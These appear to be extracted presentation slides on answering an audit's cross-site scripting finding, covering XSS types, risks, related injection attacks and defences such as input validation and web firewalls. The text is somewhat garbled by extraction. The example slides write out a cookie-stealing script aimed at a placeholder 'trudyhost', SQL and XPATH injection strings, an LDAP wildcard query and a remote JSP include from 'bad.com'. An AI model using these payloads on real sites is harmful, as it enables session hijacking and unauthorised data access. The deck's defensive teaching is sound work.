Professional Documents
Culture Documents
Business Problem
Independent security audit Regulatory compliance XSS issue raised Must provide a response
Audit Response
Either:
Prove issue to be a non-problem nonor
Resolution Steps
Investigate security concerns Restate as IT problem(s) Determine solution(s) Provide audit response Mitigate risk
Investigation
Define cross-site scripting (XSS) crossExamine how auditors applied Identify risks Research preliminary solutions
crosscross-site scripting
Attacker goal: their code into browser XSS forces a website to execute malicious code in browser Browser user is the intended victim Why? Account hijacking, keystroke recording, intranet hacking, theft
XSS concept
Auditor finding
XSS types
Immediate reflection : phishing DOMDOM-based : 95 JavaScript methods Redirection : header, meta, dynamic Multimedia : Flash, QT, PDF scripts CrossCross-Site Request Forgery (CSRF) others
(e.g. non-persistent search box) non-
Risks
XSS abuses render engines or plug-ins plugSteal browser cookies Steal session info for replay attack Malware or bot installation Redirect or phishing attempt
Currently, none. Edit box info viewed in thick client DHTML or JavaScript needs browser Our thick client is Java Swing-based Swing-
Could indicate no audit problem Might have future impact Address through dev standards Consider application firewall Widen problem scope to include all user agent injection tactics
Cross Site Scripting SQL Injection XPATH Injection LDAP Injection SSI (server side inclusion) Injection JSP (Java server pages) Injection
Artifacts
Trudy posts the following JavaScript on a message board: <SCRIPT> document.location='http://trudyhost/cgidocument.location='http://trudyhost/cgibin/ stealcookie.cgi?'+document.cookie </SCRIPT> When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy
Trudy sends a link to the following URL to Bob that will take him to a personalized page: http://host/personalizedpage.php?username=<scri pt>document.location='http://trudyhost/cgipt>document.location='http://trudyhost/cgibin/stealcookie.cgi?'+document.cookie</script> A page is returned that contains the malicious script instead of the username Bob, and Bob s browser executes the script causing his session cookie to be sent to Trudy Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious
Trudy accesses Bob s website; in which he does not validate input on his sign in form Runs a SQL statement like the following: SELECT * from Accounts where username = USER_NAME and password = USER_PASS ; In the password field, she types as her password: X OR x = x Manipulates the server into running the following SQL command: SELECT * from Accounts where username = USER_NAME and password= X OR x = x ; Selects all account information
Similar to SQL injection Bob has a form that does not sanitize useruserprovided input before using it as part of an XPATH query::
string(//user[name/text()= USER_NAME' and password/text()= USER_PASS']/account/text())
Trudy again can provide the following password to change the statement s logic:
X OR x = x The statement thus selects the first account
filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry Attacker can exploit using special characters http://example/ldapsearch.asp?user=*
Bob s system needs SSI enabled, so he uses our system on local servers
SSI code can be detected by its specific format
SSI commands can be stripped on ingress Can also deny outgoing packets that do not include SSI as inputted (means successful execution)
Similar to SSI injection Bob has a portal server configured to use dynamic code for templates Trudy passes input with an embedded <jsp:include http://bad.com/1.jsp > malicious code inserted into webpage
Prefer static include <%include > Don t allow file inclusion outside of server via Java2 Security policies Firewall rules to prevent outbound requests from server Input validation coding Choose portal software not requiring dynamic includes or code execution
Defense Approaches
Web firewall/IDS
ModSecurity for Apache Commercial: SecureSphere from Impervia
Q&A
Suggestions?
Backup Slides
Stored HTTP Response Splitting SQL Injection XML Injection JSP Code Injection LDAP Injection
Approaches
Application firewall HTML encoding on input (server(server-side) Input validation/filtering Coding techniques with output Session key enforced to prevent CSRF
Again, our system can detect this by matching any submission by Trudy containing a quotation mark against outbound XPATH queries Correction can again be done by escaping any rogue quotation marks Trudy may have inserted Detection approach is blackbox